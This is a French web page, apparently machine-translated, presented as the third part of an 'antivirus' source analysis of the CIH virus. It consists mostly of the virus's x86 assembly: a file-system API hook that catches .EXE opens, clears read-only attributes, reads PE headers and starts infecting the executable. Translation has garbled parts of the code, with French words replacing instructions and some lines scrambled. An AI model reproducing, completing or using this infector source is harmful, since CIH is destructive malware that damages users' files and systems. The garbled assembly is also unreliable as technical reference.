Maison  >  Article  >  développement back-end  >  Analyse d'exemples de codes sources de programmes antivirus-virus CIH[3]

Analyse d'exemples de codes sources de programmes antivirus-virus CIH[3]

黄舟
黄舟original
2017-01-17 11:16:421899parcourir

jmp ExitRing0Init ;Exit Ring0 level
 
 ;Taille du code fusionné
 CodeSizeOfMergeVirusCodeSection = offset $
 
 ;Nouvel appel de fonction IFSMgr_InstallFileSystemApiHook
InstallFileSystemApiHook :
push ebx

 call @4
 
 @4:
 pop ebx; Obtenir l'adresse de décalage de l'instruction actuelle
 add ebx, FileSystemApiHook-@4 La différence plus le décalage est égale à FileSystemApiHook Offset;
 
 push ebx
 int 20h ; Appelez Vxd pour supprimer le hook pointant vers FileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
 dd 00400068h ; Utilisez les registres eax, ecx, edx et flags
pop ; eax
 
 ;Appelez la fonction IFSMgr_InstallFileSystemApiHook d'origine pour connecter le hook FileSystemApiHook
 push dword ptr [esp 8]
 call OldInstallFileSystemApiHook-@3[ebx]
 
 pop ecx
eax
push ebx

call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ; ajuster l'adresse OldFileSystemApiHook

pop eax
pop ebx
 
 ret
 
 OldInstallFileSystemApiHook dd;Original InstallFileSystemApiHook adresse d'appel
 
 ;IFSMgr_FileSystemHook entrée d'appel
 FileSystemApiHook :
 @ 3 = FileSystemApiHook
 
pousser ad ; save register

call @5

@5:
pop esi ; mov esi, offset ; 5;esi est le décalage de FileSystemApiHook
;La différence plus le décalage de VirusGameDataStartAddress est égal au décalage de VirusGameDataStartAddress

;Testez l'indicateur "occupé", et "occupé" va à pIFSFunc
test byte ptr (OnBusy-@6)[esi], 01h
jnz pIFSFunc

; Si le fichier n'est pas ouvert, allez au prevhook
lea ebx, [esp 20h 04h 04h] ; est l'adresse de FunctionNum
 
 ;Le format d'appel du hook du système de fichiers est le suivant
 ;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,
 ;int ResourceFlags, int CodePage, pioreq pir )
 
 ;Jugement Cet appel est-il pour ouvrir un fichier ? Sinon, passez au hook de fichier précédent
cmp dword ptr [ebx], 00000024h
jne prevhook

inc byte ptr (OnBusy-@6) [esi] ; Activer OnBusy ; Définir l'indicateur "busy" sur "busy"
 
 ;Obtenir la lettre de lecteur spécifiée par le chemin du fichier, puis mettre le nom du lecteur dans le FileNameBuffer
;Si la lettre du lecteur est 03h, alors indiquez que le lecteur est le lecteur C
mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6; pointe vers FileNameBuffer

push esi; ; save
mov al, [ebx 04h] ;ebx 4 est l'adresse du numéro de disque
 
Est-ce une adresse UNC (conventions de dénomination universelles) Si oui, transférez vers CallUniToBCSPath
cmp ? al, 0ffh
je CallUniToBCSPath

add al, 40h
 mov ah, ':'
 
 mov [esi], eax traité sous la forme de "X:", c'est-à-dire ajouter deux points après la lettre de lecteur
 
 inc esi
 inc esi
 
 ; Convertir les caractères Unicode canonisés en jeu de caractères BCS ordinaire, appeler la méthode
 ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath,
 ;unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h ;Jeu de caractères
push FileNameBufferSize ;Longueur des caractères
mov ebx, [ebx 10h]
mov eax, [ebx 0ch]
add eax, 04h
push eax ;Première adresse du caractère Uni
push esi ;Première adresse du caractère BCS
int 20h ;appeler UniToBCSPath
UniToBCSPath = $
dd 00400041h call id
add esp, 04h*04h

; Déterminez si le fichier est un fichier EXE
cmp [esi eax-04h], 'EXE.' esi
jne DisableOnBusy

IF DEBUG

Les informations suivantes sont destinées au débogage
cmp [esi eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; Déterminez si le fichier existe. S'il n'existe pas, tournez-vous vers DisableOnBusy à
 cmp word ptr [ebx 18h], 01h
jne DisableOnBusy

; Obtenir les attributs du fichier
mov ax, 4300h
int 20h ; Appelez IFSMgr_Ring0_FileIO pour obtenir les attributs du fichier
IFSMgr_Ring0_FileIO = $
dd 00400032h ; Numéro d'appel

jc DisableOnBusy
push ecx

; Obtenir l'adresse IFSMgr_Ring0_FileIO
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; Déterminez si le fichier est en lecture seule, si c'est le cas modifiez les attributs du fichier, sinon allez dans OpenFile
test cl, 01h
jz OpenFile

mov ax, 4301h
xor ecx, ecx
appelez edi ;Appelez la fonction de IFSMgr_Ring0_FileIO pour modifier les attributs du fichier pour rendre le fichier accessible en écriture
 
;Ouvrez le fichier
OpenFile :
;Attributs du fichier
  xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi est la première adresse du nom de fichier
call edi ;Appelez la fonction de IFSMgr_Ring0_FileIO pour ouvrir le fichier

xchg ebx, eax ;Enregistrer le descripteur de fichier dans ebx
test cl, 01h
jz IsOpenFileOK

;Restaurer les attributs du fichier
mov ax, 4301h
call edi;Restaurer les attributs du fichier

;Si le fichier est ouvert avec succès, sinon, tournez-vous vers DisableOnBusy
IsOpenFileOK:
popf
jc DisableOnBusy

Le fichier est ouvert avec succès
push esi ; la première adresse de la zone de données du nom de fichier sur la pile

pushf ;CF = 0, save flag
 
 add esi, DataBuffer-@7 ;
 
 ;Obtenir le décalage du nouvel en-tête de fichier
xor eax, eax
 mov ah, 0d6h;Le numéro de fonction de lecture du fichier (R0_READFILE) de IFSMgr_Ring0_FileIO
 
 ;Afin de minimiser la longueur du code du virus, enregistrer eax dans ebp
 mov ebp, eax
 
Push 00000004h ; Lire 4 octets
pop ecx
push 0000003ch ; décalage d'en-tête de fichier 3ch
pop edx
appel edi ; Lire le fichier vers esi
 
mov edx, [esi] ; décalage d'en-tête de fichier Windows vers edx

; marque infectée de l'en-tête du fichier graphique
dec edx
mov eax, ebp ; numéro de fonction
appeler edi ; lire le fichier vers esi

; s'il a été infecté
; déterminer s'il s'agit d'un fichier auto-extractible WinZip , si c'est le cas, il ne sera pas infecté par Self-Extractor *
 cmp dword ptr [esi], 00455000h; Fichier PE (marque "PE/0/0")
 jne CloseFile; Sinon, fermez le fichier
 
 ;S'il s'agit d'un fichier PE et qu'il n'est pas infecté, commencez à infecter le fichier
push ebx;Enregistrer le descripteur de fichier
 push 00h
 
 ;Définir l'indicateur d'infection virale
 push 01h ; Taille de la marque
push edx ; edi est l'adresse de IFSMgr_Ring0_FileIO

mov dr1, esp ; save esp

; Set NewAddressOfEntryPoint Entry
Push eax

;Lire l'en-tête du fichier
mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;Pour lire 2 octets
ajoutez edx, 07h ; l'en-tête du fichier PE 07h est NumberOfSections (nombre de blocs)
appelez edi ;
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; pointeur de fichier
 
 lea eax, (NewAddressOfEntryPoint-@8)[esi]
 push eax; 🎜> 
 ;Mettez la valeur de edx au début du tableau des blocs de codes de virus de fichiers
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax edx 12h] ; edx est le décalage de la table des blocs de codes de virus
 
; obtient la taille de la table de blocs de codes de virus
 mov al, SizeOfScetionTable ;La taille de chaque entrée de la table de blocs
 
mov cl, (NumberOfSections-@8)[esi]
 
 mul cl ;Chaque entrée de la table de blocs multipliée par le nombre de blocs Le nombre est égal à la taille de la table de blocs
 
Définir le code du virus; table de blocs
lea esi, (StartOfSectionTable-@8)[esi]; esi pointe vers la première adresse de la table de blocs (dans la zone de données dynamiques du virus)

Ce qui précède est le contenu du programme antivirus exemple de code source d'analyse-virus CIH [3]. Pour plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn) !



Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn